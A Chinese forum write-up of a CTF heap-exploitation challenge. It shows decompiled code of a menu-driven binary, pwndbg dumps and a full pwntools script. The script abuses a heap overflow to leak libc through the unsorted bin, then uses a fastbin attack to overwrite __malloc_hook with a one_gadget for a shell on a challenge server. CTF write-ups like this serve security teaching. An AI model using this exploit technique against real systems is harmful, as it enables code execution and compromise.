本文为看雪论坛优秀文章
看雪论坛作者ID:LeaMov
一
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
interface();
}
void __noreturn interface()
{
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &choice);
if ( choice != 1 )
break;
add();
}
switch ( choice )
{
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 1024:
if ( magic > 28800 )
system("/bin/sh");
break;
default:
exit(-1);
}
}
}
unsigned __int64 add()
{
unsigned int inputSize; // [rsp+4h] [rbp-101Ch] BYREF
unsigned int index; // [rsp+8h] [rbp-1018h]
unsigned int v3; // [rsp+Ch] [rbp-1014h]
char v4[4096]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v5; // [rsp+1018h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(v4, 0, sizeof(v4));
for ( index = 0; index <= 9; ++index )
{
if ( !*(&heapList + index) )
{
v3 = index;
break;
}
}
if ( index == 11 )
{
puts("wrong");
exit(0);
}
puts("Size: ");
__isoc99_scanf("%d", &inputSize);
if ( inputSize > 0x500 )
inputSize = 1280;
*(&heapList + v3) = malloc(inputSize);
Size[v3] = inputSize;
puts("Content: ");
read(0, *(&heapList + v3), inputSize);
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index:");
__isoc99_scanf("%d", &index);
if ( index > 0xB )
{
puts("wrong");
exit(0);
}
free(*(&heapList + index));
*(&heapList + index) = 0LL;
Size[index] = 0;
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index:");
__isoc99_scanf("%d", &index);
if ( *(&heapList + index) )
printf("Content: %s\n", (const char *)*(&heapList + index));
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
int nbytes; // [rsp+0h] [rbp-10h] BYREF
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Index:");
__isoc99_scanf("%d", &index);
puts("Size:");
__isoc99_scanf("%d", &nbytes);
if ( Size[index] >= nbytes )
{
if ( *(&heapList + index) )
{
puts("Content:");
read(0, *(&heapList + index), (unsigned int)nbytes);
}
else
{
puts("wrong");
}
}
else
{
puts("wrong!");
}
return __readfsqword(0x28u) ^ v3;
}
pwndbg> x/30gx 0x6020AC-0x1f
0x60208d: 0xfff7bc38e0000000 0x000000000000007f
0x60209d: 0xfff7bc4540000000 0x000000000000007f
0x6020ad <magic+1>: 0x0000000000000000 0x0000000000000000
0x6020bd: 0x0000000000000000 0x0000000000000000
0x6020cd <ptr+13>: 0x0000000000000000 0x0000000000000000
0x6020dd <ptr+29>: 0x0000000000000000 0x0000000000000000
0x6020ed <ptr+45>: 0x0000000000000000 0x0000000000000000
0x6020fd <ptr+61>: 0x0000000000000000 0x0000000000000000
0x60210d <ptr+77>: 0x0000000000000000 0x0000000000000000
0x60211d: 0x0000000000000000 0x0000000000000000
0x60212d <Size+13>: 0x0000000000000000 0x0000000000000000
0x60213d <Size+29>: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x7ffff7bc3b10-0x30
0x7ffff7bc3ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ffff7bc3af0 <_IO_wide_data_0+304>: 0x00007ffff7bc2260 0x0000000000000000
0x7ffff7bc3b00 <__memalign_hook>: 0x00007ffff78853f0 0x00007ffff7884fd0
0x7ffff7bc3b10 <__malloc_hook>: 0x00007ffff7884e00 0x0000000000000000
0x7ffff7bc3b20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x7ffff7bc3b20-0x33
0x7ffff7bc3aed <_IO_wide_data_0+301>: 0xfff7bc2260000000 0x000000000000007f
0x7ffff7bc3afd: 0xfff78853f0000000 0xfff7884fd000007f
0x7ffff7bc3b0d <__realloc_hook+5>: 0xfff7884e0000007f 0x000000000000007f
0x7ffff7bc3b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7bc3b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
二
add()函数允许用户申请10个不大于0x500的heap
edit()函数中存在堆溢出漏洞
__malloc_hook()函数位于main_arena-0x10处
__malloc_hook()函数上方存在可用于构造FakeChunk的内存区
申请3块大小为0x60的chunk#0 chunk#1 chunk#2、申请1块大小为0x400的chunk#3、再申请一块大小为0x60的chunk#4
释放chunk#3使其进入unsorted bin,此时chunk#3->fd指向main_arena
通过edit()函数填充chunk#2至chunk#3->size
使用show()函数打印chunk#2并泄露出main_arena后计算出__malloc_hook和LibcBase
使用FastBin Attack篡改__malloc_hook使其指向oneGadget
三
from pwn import *
prog = "./pwn"
local = False
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
if local:
p = process(prog)
libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
gdb.attach(p)
sleep(1)
else:
p = remote("challenge-201a3ecdccce276e.sandbox.ctfhub.com",29865)
def add(size):
p.sendlineafter(">> ","1")
p.sendlineafter("Size: \n",str(size))
p.sendafter("Content: \n",b"\x00")
def show(index):
p.sendlineafter(">> ","3")
p.sendlineafter("Index:\n",str(index))
def dele(index):
p.sendlineafter(">> ","2")
p.sendlineafter("Index:\n",str(index))
def edit(index,content):
p.sendlineafter(">> ","4")
p.sendlineafter("Index:\n",str(index))
p.sendlineafter("Size:\n","-1")
p.sendafter("Content:\n",content)
fakeChunk = 0x60208d
add(0x60)#0
add(0x60)#1
add(0x60)#2
add(0x400)#3
add(0x60)#4 避免chunk#3与topChunk合并
dele(3)
payload = b"A"*0x70
edit(2,payload)
show(2)
mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("mainArena ===========> {}".format(hex(mainArena)))
mallocHook = mainArena-0x10-88
libcBase = mallocHook - libc.sym['__malloc_hook']
oneGadGet = 0xf1247 + libcBase
fakeChunk = mallocHook - 0x23
#易错点,请勿忽略本操作
payload = b"\x00"*0x60
payload += p64(0)
payload += p64(0x411)
edit(2,payload)#此处需还原chunk#2下一个chunk的size以绕过_int_free()函数检查,详细在总结中说明
#易错点,请勿忽略本操作
#接下来是FastBin Attack操作,具体可参照上一篇文章《FastBin Attack》
dele(2)
dele(1)
payload = b"A"*0x60
payload += p64(0)
payload += p64(0x71)
payload += p64(fakeChunk)
edit(0,payload)
add(0x60)#1
add(0x60)#2 = fakeChunk
payload = b"A"*0x13
payload += p64(oneGadGet)
edit(2,payload)
p.interactive()
p.close()
四
申请一块0x60大小的chunk#0
申请一块0x40大小的chunk#1
申请一块0x400大小的chunk#2
通过堆溢出篡改chunk#1的size为0x60
show(1)即可打印出chunk#2的fd和bk
*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
看雪ID:LeaMov
https://bbs.kanxue.com/user-home-952954.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看